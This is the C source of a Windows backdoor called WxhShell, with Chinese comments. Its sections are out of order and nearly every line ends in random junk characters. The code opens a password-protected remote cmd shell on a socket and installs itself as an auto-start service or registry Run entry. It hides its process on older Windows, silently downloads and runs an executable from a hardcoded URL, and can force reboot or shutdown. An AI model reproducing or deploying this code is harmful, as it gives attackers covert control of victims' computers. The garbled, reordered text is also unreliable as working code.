    if(Boot(SHUTDOWN)) wOV}<.W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k#"}oI{< 6  
    else { :{=2ih-}  
    closesocket(wsh); W[B;;"ro  
    ExitThread(0); R>B4v+b  
    } K<E|29t^k  
    break; -'Oq.$Qq  
    } N$! Vm(S  
  // 获取shell z8JdA%YBM  
  case 's': {  j|owU  
    CmdShell(wsh); \O=t5yS  
    closesocket(wsh); }@TtX\7(D  
    ExitThread(0); @+&QNI06S  
    break; A(1d q  
  } P$i d?  
  // 退出  % Z-B{I(  
  case 'x': { =bh.V@*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~]78R!HJ  
    CloseIt(wsh); <G60R^o  
    break; oi\e[qE  
    } QHPC?a6CD  
  // 离开 wS;hC&~2  
  case 'q': { MVkO >s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3-4CGSX;X  
    closesocket(wsh); s#>``E!  
    WSACleanup(); v]@ n'!  
    exit(1); _ipY;  
    break; C^fUhLVSZ^  
        } ; %mYsQ  
  } 8m*uT< 5D  
  } :<PwG]LO  
EZ)$lw/!J  
  // 提示信息 0oPcZ""X]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZU K'z  
} )uazB!X  
  } )^]1j$N=3  
8dCa@r&tz  
  return; !9g >/9h  
} j6#RV@ p`  
LgJUMR8vUO  
// shell模块句柄 %y[ t+)!E  
int CmdShell(SOCKET sock) ByivV2qd{  
{ ~@ML>z 7  
STARTUPINFO si; l g43  
ZeroMemory(&si,sizeof(si)); Ja%(kq[v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c=u'#|/eb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q%hxU.h  
PROCESS_INFORMATION ProcessInfo; !_pryNcb  
char cmdline[]="cmd"; V)3S.*]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]vUTb9>{?  
  return 0; cwBf((~  
} J`[He$7)  
I3" GGp3L  
// 自身启动模式 xO<Uz"R  
int StartFromService(void) &\ \)x.!  
{ *Ry{}|_8  
typedef struct 8j jq)d4#  
{ 97\9!)`,  
  DWORD ExitStatus; $94l('B6H  
  DWORD PebBaseAddress; ZuVes?&j  
  DWORD AffinityMask; L%5g]=  
  DWORD BasePriority; }1? 2  
  ULONG UniqueProcessId; /5r!Fhx  
  ULONG InheritedFromUniqueProcessId; yQdoy^d/4  
}   PROCESS_BASIC_INFORMATION; I1fUV72  
e>Q_&6L  
PROCNTQSIP NtQueryInformationProcess; 99u9L)  
xAJuIR1Hi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E;Q ,{{#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b&xlT+GN  
D&nVkZP>  
  HANDLE             hProcess; K [M[0D  
  PROCESS_BASIC_INFORMATION pbi; IrTMZG  
+/Qgl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?0hEd9TU  
  if(NULL == hInst ) return 0; 9MR,3/&N  
Mhiz{Td  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k \V6 q9*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V^E.9fs,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wC>Xu.Z:  
|z]--h  
  if (!NtQueryInformationProcess) return 0; jb lj]/  
HRF;qR9v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  KSB{Z TE  
  if(!hProcess) return 0; qJq2Z.>hy  
.vk|aIG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _S3qPPo3l]  
=.yKl*WV{  
  CloseHandle(hProcess); %2z] 2@  
`AcT}. u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W=ar&O~}n  
if(hProcess==NULL) return 0; ;=F]{w]$+  
#P5tTCM  
HMODULE hMod; !/wR[`s9w  
char procName[255]; E'wJ+X9 +  
unsigned long cbNeeded; :y8wv|m  
TYN~c(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fLR\@f  
iz5WWn^  
  CloseHandle(hProcess); tC4 7P[b  
C">w3#M%  
if(strstr(procName,"services")) return 1; // 以服务启动 a[A9(Ftn  
Y=YIz>u  
  return 0; // 注册表启动 -9> oB  
} 8}<4f|?  
{v~.zRW%]r  
// 主模块 ! C|VX,w  
int StartWxhshell(LPSTR lpCmdLine) |Y|gT*v  
{  k.("<)  
  SOCKET wsl; *9I/h~I  
BOOL val=TRUE; fsH =2p  
  int port=0; z-;2)RkV2  
  struct sockaddr_in door; c]!Yb-  
0OAHD'  
  if(wscfg.ws_autoins) Install(); +c-?1j  
B?p18u$i#l  
port=atoi(lpCmdLine); Yk!TQY4  
iQJ[?l`  
if(port<=0) port=wscfg.ws_port; ouf91<n  
64w4i)?eM[  
  WSADATA data; & U6bOH%P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3r]N\c  
- }2AXP2q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ZTsl ?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 72;ot`  
  door.sin_family = AF_INET; rXG?'jN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R0_O/o+{  
  door.sin_port = htons(port); QGpAG#M9?  
"l.1 UB&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'mR9Uqq\  
closesocket(wsl); @EV*QC2l;Y  
return 1; e SlZAdK  
} S=.7$PY  
*eb2()B%  
  if(listen(wsl,2) == INVALID_SOCKET) {  Re^~8q[  
closesocket(wsl); f9FLtdh \7  
return 1; I|oS`iLl$  
} l1MVC@'pvP  
  Wxhshell(wsl); l\%LT{$e  
  WSACleanup(); SFQYrY  
]F81N(@:F  
return 0; ~L7@,d:  
E3==gYCe*  
} Gn7P` t*.  
mpysnKH  
// 以NT服务方式启动 oo{3-+ ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xQK;3b  
{ 9/_F  
DWORD   status = 0; \n`)>-  
  DWORD   specificError = 0xfffffff; o2 vBY]Tj  
!Ey=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _0: }"!Gq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T_=iJ: Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "0edk"hk  
  serviceStatus.dwWin32ExitCode     = 0; ~.H*"  
  serviceStatus.dwServiceSpecificExitCode = 0; |A0)-sVZ  
  serviceStatus.dwCheckPoint       = 0; Yl#|+xYA5[  
  serviceStatus.dwWaitHint       = 0; jJOs`'~Q\  
!0k'fYCa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sN%#e+(=  
  if (hServiceStatusHandle==0) return; *dw6>G0U  
DLP G  
status = GetLastError(); KqNbIw*sR  
  if (status!=NO_ERROR) ]1k"'XG4,  
{ ;"N4Yflz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DbH"e  
    serviceStatus.dwCheckPoint       = 0; . vJlTg  
    serviceStatus.dwWaitHint       = 0; K,' v{wSr  
    serviceStatus.dwWin32ExitCode     = status; OqcM3#  
    serviceStatus.dwServiceSpecificExitCode = specificError; W-UMX',0zS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`hr'}x  
    return; SWpvbs.'so  
  } CW)JS3}W"  
2\/,X CQV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  5gZ6H/.  
  serviceStatus.dwCheckPoint       = 0; ]:X# w0UR  
  serviceStatus.dwWaitHint       = 0; <*'%Xgm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IqW4Q1>f  
} *~>} *  
Ub_!~tb}?  
// 处理NT服务事件,比如:启动、停止 dr~6}S#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9z0G0QW[  
{ 7u|X . X  
switch(fdwControl) Z|k>)pv@  
{ h]{V/  
case SERVICE_CONTROL_STOP: O"6 (k{`  
  serviceStatus.dwWin32ExitCode = 0; i3[%]_eP.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C ks;f6G  
  serviceStatus.dwCheckPoint   = 0; tW)K pX  
  serviceStatus.dwWaitHint     = 0; yur5" $n  
  { :U!@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $2gX!)  
  } d[7B,l:RN  
  return; Vw>AD<Rl  
case SERVICE_CONTROL_PAUSE: !`h^S)$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >nqCUhS   
  break; iS]4F_|vd  
case SERVICE_CONTROL_CONTINUE: gFQ\zOlY8a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f}%paE"  
  break; -\dcs?  
case SERVICE_CONTROL_INTERROGATE: b:6NVHb%  
  break; f2f2&|7  
}; (.Th?p%>7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Am @o}EC  
} Xvr7qowL  
4v?}K   
// 标准应用程序主函数 `k]2*$%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cKM#0dq  
{ )d$FFTH  
&h<\jqN/  
// 获取操作系统版本 F).7%YfY  
OsIsNt=GetOsVer(); BGOajYD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dm+[cA"I  
*&nIxb60b{  
  // 从命令行安装 Q dPqcw4+X  
  if(strpbrk(lpCmdLine,"iI")) Install(); H,q-*Kk  
;rqW?':(i  
  // 下载执行文件 3Ud{W$Ym  
if(wscfg.ws_downexe) { dWK"Tkf\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gx ]5)O  
  WinExec(wscfg.ws_filenam,SW_HIDE); y`Nprwb  
} 2P( 6R.8;6  
LyuA("xB#  
if(!OsIsNt) { &`^P O $  
// 如果时win9x,隐藏进程并且设置为注册表启动 qvs&*lBY  
HideProc(); >f*-9  
StartWxhshell(lpCmdLine); RoLN#  
} 089 <B& <  
else w}WfQj  
  if(StartFromService()) =v:}{~M^$  
  // 以服务方式启动 2K VX  
  StartServiceCtrlDispatcher(DispatchTable); o^8Z cN>  
else vBLs88  
  // 普通方式启动 /Y#Q<=X  
  StartWxhshell(lpCmdLine); `37%|e3bQ  
B{ hV|2  
return 0; 4o69t  
} ]]^r)&pox  
R}E$SmFg  
]]eI80u[  
|QHIB?C?`  
=========================================== Bag_0.H&m  
Is[n7Q  
0 H0U%x8  
qF3s&WI  
I1 +A$<Fa  
' TO/i:{\  
" L}UrI&]V$:  
ZU68\cL  
#include <stdio.h> <0btwsv}  
#include <string.h> dthtWnB@  
#include <windows.h> 's\rQ-TV  
#include <winsock2.h> %% +@s   
#include <winsvc.h> h )% e  
#include <urlmon.h> P/,ezVb=  
FG5YZrONx  
#pragma comment (lib, "Ws2_32.lib") oEJxey]B7  
#pragma comment (lib, "urlmon.lib") O^DLp/vM  
fi  
#define MAX_USER   100 // 最大客户端连接数 iit 5IV  
#define BUF_SOCK   200 // sock buffer &~'^;hy=  
#define KEY_BUFF   255 // 输入 buffer ^ ~kfo|  
9|l6.$Me/  
#define REBOOT     0   // 重启 d04fj/B  
#define SHUTDOWN   1   // 关机 IO{iQ-Mg  
v`\CzT  
#define DEF_PORT   5000 // 监听端口 Mt*eC)~ Yx  
2v{42]XYf  
#define REG_LEN     16   // 注册表键长度 sB=s .`9  
#define SVC_LEN     80   // NT服务名长度 ,Yu2K`  
(gEz<}Av.  
// 从dll定义API l{8t;!2t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z Ek/#&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7? ]wAH89  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1B`JvNtd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^%t{:\  
BmFtRbR  
// wxhshell配置信息 ^0(`:*  
struct WSCFG { jL*s(Yq  
  int ws_port;         // 监听端口 ; ]VLA9dC  
  char ws_passstr[REG_LEN]; // 口令 bC,SE*F\  
  int ws_autoins;       // 安装标记, 1=yes 0=no +HF*X~},i  
  char ws_regname[REG_LEN]; // 注册表键名 }_fVv{D   
  char ws_svcname[REG_LEN]; // 服务名 4Ix~Feuph  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {k)H.zwe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H)pB{W/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V>"N VRY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d(q2gd@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" asJt 6C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }w5`Oig[  
'e*:eBoyb  
}; 3A'9=h,lVK  
fiQ/ &]|5  
// default Wxhshell configuration (AT)w/  
struct WSCFG wscfg={DEF_PORT, kPYQcOK8  
    "xuhuanlingzhe", RY9Ur  
    1, <ahcE1h  
    "Wxhshell", ZW ZKyJQ  
    "Wxhshell", yJ2A!id  
            "WxhShell Service", vFK!LeF%  
    "Wrsky Windows CmdShell Service", ]//D d/L6  
    "Please Input Your Password: ", oRHWb_$"  
  1, W:1GY#Pe  
  "http://www.wrsky.com/wxhshell.exe", ka<rlh<h  
  "Wxhshell.exe" Dw&_6\F@  
    }; 3gz4c1 s^:  
}b / G{92  
// 消息定义模块 5[A4K%EL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *W<|5<<u@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Za'}26  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eXQzCm  
char *msg_ws_ext="\n\rExit."; [p96H)8YU  
char *msg_ws_end="\n\rQuit."; }^ZPah  
char *msg_ws_boot="\n\rReboot..."; 2rqYm6  
char *msg_ws_poff="\n\rShutdown..."; 84y#L[  
char *msg_ws_down="\n\rSave to "; 2KQpmNN  
dUP8[y  
char *msg_ws_err="\n\rErr!"; RQW<Sp~  
char *msg_ws_ok="\n\rOK!"; YA@OA$`E  
6@J)k V  
char ExeFile[MAX_PATH]; L7B(abT9e  
int nUser = 0; t**o<p#)f  
HANDLE handles[MAX_USER]; 9 [wR/8Xm  
int OsIsNt; A{ Ejk|  
g({dD;  
SERVICE_STATUS       serviceStatus; *!u a?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ? q hme   
qj<_*  
// 函数声明 |^t8ct?x~  
int Install(void); T0lbMp  
int Uninstall(void); Z$ 6yB  
int DownloadFile(char *sURL, SOCKET wsh); H:`[$ ^  
int Boot(int flag); h7[PU^m  
void HideProc(void); nX-%qc"  
int GetOsVer(void); B#K2?Et!t  
int Wxhshell(SOCKET wsl); <m+$@:cO  
void TalkWithClient(void *cs); 5# $5ct  
int CmdShell(SOCKET sock); av}pT)]\  
int StartFromService(void); ]y<<zQ_fhY  
int StartWxhshell(LPSTR lpCmdLine); zP#%ya :I  
1}jwv_0lL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &g5+ |g (  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y%xn(Bn  
dS"%( ?o  
// 数据结构和表定义 ntEf-x<  
SERVICE_TABLE_ENTRY DispatchTable[] = UU 2 =W  
{ 5E}~iC&  
{wscfg.ws_svcname, NTServiceMain}, a*nx2d  
{NULL, NULL} 2z[A&s_  
}; r$z0C&5  
9`v[Jm% $m  
// 自我安装 Avi8&@ya  
int Install(void) Wf:I 0  
{ O)9{qU:[b  
  char svExeFile[MAX_PATH]; VH5Vg We  
  HKEY key; Dv[ 35[Yh  
  strcpy(svExeFile,ExeFile); t"]~e"  
%2TjG  
// 如果是win9x系统,修改注册表设为自启动 U#1 ,]a\  
if(!OsIsNt) { 06~HVv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4O'X+dv^I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dl95Vo=1  
  RegCloseKey(key); \ D,c*I|p7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  d`&F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,MdK "Qa>  
  RegCloseKey(key); ET}Dh3A  
  return 0; 4^Ghn  
    } :s`\jJ  
  } }dO^q-t$3  
} 9?#L/  
else { K\`>'C2_V  
J\x.:=V  
// 如果是NT以上系统,安装为系统服务 WZJ}HHePr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I:G4i}mA  
if (schSCManager!=0) L/n?1'he  
{ 2q ,> *B?  
  SC_HANDLE schService = CreateService #iAEcC0k5  
  ( Wf>scl `s  
  schSCManager, o$_,2$>mn  
  wscfg.ws_svcname, TEi~X 2u  
  wscfg.ws_svcdisp, ]M5w!O!  
  SERVICE_ALL_ACCESS, Q`7.-di  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?O<D&CvB  
  SERVICE_AUTO_START, enJgk(  
  SERVICE_ERROR_NORMAL, 6!^&]4  
  svExeFile, smN |r  
  NULL, v\:P _J  
  NULL, m'P,:S)=  
  NULL, `@07n]KB  
  NULL, o7;#B)jWS  
  NULL jsOid5bs  
  ); =vZF/r  
  if (schService!=0) jjrhl  
  { amH..D7_>  
  CloseServiceHandle(schService); q:/<^|  
  CloseServiceHandle(schSCManager); wio}<Y6Xz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _]# ^2S  
  strcat(svExeFile,wscfg.ws_svcname); zs~v6y@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k2cC:5Xf3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (+ibT;!]  
  RegCloseKey(key); >2w^dI2  
  return 0; :7-2^7z)  
    } `gFE/i18  
  } ~'<ca<Go|  
  CloseServiceHandle(schSCManager); o)pso\;  
} >l3iAy!sZ  
} j6_tFJT  
=xq+r]g6  
return 1; O^,%V{]6\  
} M$0-!$RY  
_#]/d3*Z}  
// 自我卸载 lEe<!B$d"  
int Uninstall(void) A\v(!yg  
{ @ =M:RA  
  HKEY key; jA}b=c  
byTTLs,}d  
if(!OsIsNt) { -]K9sy)I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b,Vg3BS  
  RegDeleteValue(key,wscfg.ws_regname); }[gk9uM_7  
  RegCloseKey(key); ecRY,MN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #{BHH;J+  
  RegDeleteValue(key,wscfg.ws_regname); QwSYjR:K  
  RegCloseKey(key); shAoib?Kw:  
  return 0; iYk4=l  
  } 6,q}1-  
} 6*\WH%  
} yxx'g+D*  
else { GF=rGn@,)`  
B3V;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HDY2<Hzc  
if (schSCManager!=0) EDf"1b{PX  
{ 0;V "64U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); / !@@  
  if (schService!=0) 9$[PA jwk  
  { NM{/rvM  
  if(DeleteService(schService)!=0) { iUua!uC  
  CloseServiceHandle(schService); (Iz$_(  
  CloseServiceHandle(schSCManager); =h Lw 1~  
  return 0; +-*Ww5Zti  
  } r$ 8 ^K\oF  
  CloseServiceHandle(schService); >{HQ"{Q  
  } PV\aQO.mo  
  CloseServiceHandle(schSCManager); 8$TSQ~  
} ;qN;oSK  
} cfP9b8JG  
QU;bDNq,c  
return 1; qG<3H!Z!ky  
} Lq6R_ud p  
 UqwU3  
// 从指定url下载文件 CVy\']  
int DownloadFile(char *sURL, SOCKET wsh) nde_%d$  
{ 4Nun-(q  
  HRESULT hr; _ / >JM0  
char seps[]= "/"; #{DX*;1m  
char *token; u9zEhfg8  
char *file; p"UdD  
char myURL[MAX_PATH]; L<62-+e`  
char myFILE[MAX_PATH]; o<8('j   
{)?:d6"  
strcpy(myURL,sURL); 9k.5'#  
  token=strtok(myURL,seps); };Oyv7D+b  
  while(token!=NULL) f)x(sk  
  { x,% %^(  
    file=token; a7@':Rb n  
  token=strtok(NULL,seps); Oe~x,=X)  
  } @?vC4+'  
PptVneujI  
GetCurrentDirectory(MAX_PATH,myFILE); R9z:K_d,  
strcat(myFILE, "\\"); 6Lb(oY}\3  
strcat(myFILE, file); ?XIB\7}  
  send(wsh,myFILE,strlen(myFILE),0); 2Pm[ kD4E=  
send(wsh,"...",3,0); )4MM>Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u _mtdB'  
  if(hr==S_OK) bpx ^  
return 0; Db`SNk=  
else dtT: ,&  
return 1; @y!oKF  
Mm)yabP  
} !y\r.fm!A  
L}a-c(G+8  
// 系统电源模块 8 v}B-cS  
int Boot(int flag) [. Db56  
{ {)jTq??  
  HANDLE hToken; YT`,f*t  
  TOKEN_PRIVILEGES tkp; {Z,_/@}N  
.C*mDi)wZ  
  if(OsIsNt) { %;eD.If}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,6EhtNDu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); teKx^ 'c'  
    tkp.PrivilegeCount = 1; *671MJ 9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @=sM')f&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2<FEn$n[  
if(flag==REBOOT) { 2z9s$tp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "P9(k>  
  return 0; PS}'LhZ  
} xfa-   
else { ?Gl]O3@3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "qrde4O  
  return 0; 0MI4"<  
} .0Kc|b=w  
  } Uc;~q-??#  
  else { K0YQ b&*k  
if(flag==REBOOT) { m{;j r<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p9>1a j2a  
  return 0; 6Hp+?mmh  
} >t_h/:JZ)  
else { "2~L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _70Z1_ ;  
  return 0; R*=88ds  
} FS)"MDs  
} AU1U?En  
E|vXM"zFl  
return 1; [=BccT:b  
} U4.$o ]58  
IIG9&F$G  
// win9x进程隐藏模块 f DwK5?  
void HideProc(void) Zz1nXUZ  
{ vSu dT  
KdBpfPny@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >qz#&  
  if ( hKernel != NULL ) Q+oV? S3{  
  { JC MUK<CG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k2@]nW"S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'u:-~nSX)  
    FreeLibrary(hKernel); |A/H*J,  
  } N; '] &f  
njc-=o  
return; RR+{uSO,t  
} B[k=6EU8k  
,$} xPC  
// 获取操作系统版本 uGv|!UQw  
int GetOsVer(void) {Q}F.0Q  
{ Mg~4) DW]  
  OSVERSIONINFO winfo; N;`/>R4|I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g/FZ?Wo  
  GetVersionEx(&winfo); kH5D%`Kw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 31~nay15  
  return 1; 9Pb6Z}  
  else L#",.x  
  return 0; : r(dMU3%  
} <5? pa3  
o_1N "o%  
// 客户端句柄模块 kO5lLqE  
int Wxhshell(SOCKET wsl) cNbUr  
{ a%A!Dz S  
  SOCKET wsh; GsmXcBzDw2  
  struct sockaddr_in client; OXm`n/64+  
  DWORD myID; Z}TLk^_[  
g)5mr:\  
  while(nUser<MAX_USER) \BuyJskE  
{ ^)wKS]BQ..  
  int nSize=sizeof(client); zak|* _  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a'-u(Bw  
  if(wsh==INVALID_SOCKET) return 1; e P,bFc  
QtwQVOK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pI:,Lt1B  
if(handles[nUser]==0) .faf!3d  
  closesocket(wsh); Y hQ)M5  
else ruQt0q,W3%  
  nUser++; pCDN9*0/  
  } gW,hI>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {#:31)P  
M.K^W`  
  return 0; XC5/$3'M&  
} AN:yL a!  
J\Hv42  
// 关闭 socket *i}X(sfe  
void CloseIt(SOCKET wsh) .L+XV y  
{ wk ^7/B  
closesocket(wsh); {fnx=BaG  
nUser--; W|D kq  
ExitThread(0); m`l9d4p w?  
} FJDE48Vi  
<sw@P":F  
// 客户端请求句柄 "(3u)o9  
void TalkWithClient(void *cs) 0'Si ^>bW  
{ i84!x%|P  
hbOXR.0z  
  SOCKET wsh=(SOCKET)cs; &iInru3  
  char pwd[SVC_LEN]; R0}1:1}$Sn  
  char cmd[KEY_BUFF]; 59O-"Sc[  
char chr[1]; o//h|fU@  
int i,j; %uN<^`JZ  
]q.%_  
  while (nUser < MAX_USER) { -?-XO<I  
h7 E~I J  
if(wscfg.ws_passstr) { ~W[I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bx(@ fl:m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QXZyiJX}  
  //ZeroMemory(pwd,KEY_BUFF); `XhH{*Q"X  
      i=0; qx'0(q2Ii(  
  while(i<SVC_LEN) { "bIb?e2h9G  
X+C*+k,z  
  // 设置超时 a8f#q]TyQ  
  fd_set FdRead; %\v8 FCb  
  struct timeval TimeOut; aknIrblS\  
  FD_ZERO(&FdRead); V D~5]TQ  
  FD_SET(wsh,&FdRead); \4L ur  
  TimeOut.tv_sec=8; 0eNdKE  
  TimeOut.tv_usec=0; %W"u4 NT7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  <@<bX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vY-CXWC7  
a$ "nNmD?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g5|~ i{"0  
  pwd=chr[0]; oGRk/@  
  if(chr[0]==0xd || chr[0]==0xa) { =nGFLH6)  
  pwd=0; HbegdbTJ  
  break; !1G KpL  
  } BYB4- ,  
  i++; $G-<kC}8:  
    } KGYbPty}  
?1D!%jfi  
  // 如果是非法用户,关闭 socket B S*79heY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ ]s^M=8  
} ' @RF  
>`\.i,X .D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zak\%yY`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  yf:Vhr  
/[<F f  
while(1) { ? `p/jA  
o{G*7V@H  
  ZeroMemory(cmd,KEY_BUFF); A$=ny6  
:$$~$P  
      // 自动支持客户端 telnet标准   WM'!|lg  
  j=0; d ItfR'$  
  while(j<KEY_BUFF) { orFwy!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &KjMw:l  
  cmd[j]=chr[0]; #NW+t|E  
  if(chr[0]==0xa || chr[0]==0xd) { !fzS' pkk.  
  cmd[j]=0; !+%gJiu:  
  break; [UA*We 1  
  } ,*J@ic7"  
  j++; P |t yyjO  
    } >$JE!.p%o  
C< c6Ub  
  // 下载文件 Z 2N6r6  
  if(strstr(cmd,"http://")) { Vr EGR$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w$:\!FImx  
  if(DownloadFile(cmd,wsh)) gx.\H3y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); In1W/ ?  
  else ;OlnIxH(W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!ZZMC s  
  } !:&SfPv  
  else { ,~Mf2Y#m0p  
^%$IdDx  
    switch(cmd[0]) { 9;+&}:IVS  
  h$&Tg_/'#D  
  // 帮助 VcrMlcnO  
  case '?': { @Chl>s  
